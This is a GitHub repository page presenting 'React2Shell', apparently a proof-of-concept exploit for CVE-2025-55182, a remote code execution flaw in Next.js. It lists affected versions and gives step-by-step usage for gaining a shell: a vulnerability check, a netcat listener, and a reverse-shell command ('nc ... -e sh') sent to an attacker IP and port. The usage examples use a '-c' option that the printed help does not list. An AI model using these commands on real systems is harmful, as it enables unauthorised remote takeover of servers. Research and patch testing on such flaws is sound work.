Skip to content

Folders and files

NameName
Last commit message
Last commit date

Latest commit

History

2 Commits

Repository files navigation

React2Shell

Proof of Concept exploit for CVE-2025-55182 Unauthenticated Remote Code Execution vulnerability a.k.a React2Shell. The script used to get shell on Next.js versions before;

  • 15.0.4 and below
  • 15.1.8 and below
  • 15.2.5 and below
  • 15.3.5 and below
  • 15.4.7 and below
  • 15.5.6 and below
  • 16.0.6 and below
  • 14.3.0-canary.77 and later releases

Its only tested on version 16.0.6.

Usage

$ ./react2shell.py --help
d8888b. d88888b .d8b. .o88b. d888888b .d888b. .d8888. db db d88888b db db
88 `8D 88' d8' `8b d8P Y8 `~~88~~' VP `8D 88' YP 88 88 88' 88 88
88oobY' 88ooooo 88ooo88 8P 88 odD' `8bo. 88ooo88 88ooooo 88 88
88`8b 88~~~~~ 88~~~88 8b 88 .88' `Y8b. 88~~~88 88~~~~~ 88 88
88 `88. 88. 88 88 Y8b d8 88 j88. db 8D 88 88 88. 88booo. 88booo.
88 YD Y88888P YP YP `Y88P' YP 888888D `8888Y' YP YP Y88888P Y88888P Y88888P
usage: react2shell [-h] -u URL -i IP -p PORT
options:
-h, --help show this help message and exit
-u, --url URL Target URL
-i, --ip IP Attacker IP
-p, --port PORT Attacker port

check if the target is vulnerable;

./react2shell.py -u http://127.0.0.1:3000

start a listener;

$ nc -lvp 4444

start a shell;

$ ./react2shell.py -u http://127.0.0.1:3000 -i 127.0.0.1 -p 4444
$ ./react2shell.py -u http://127.0.0.1:3000 -c 'nc 127.0.0.1 4444 -e sh' # you can also provide a command

References

About

PoC for React2Shell (CVE-2025-55182)

Topics

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages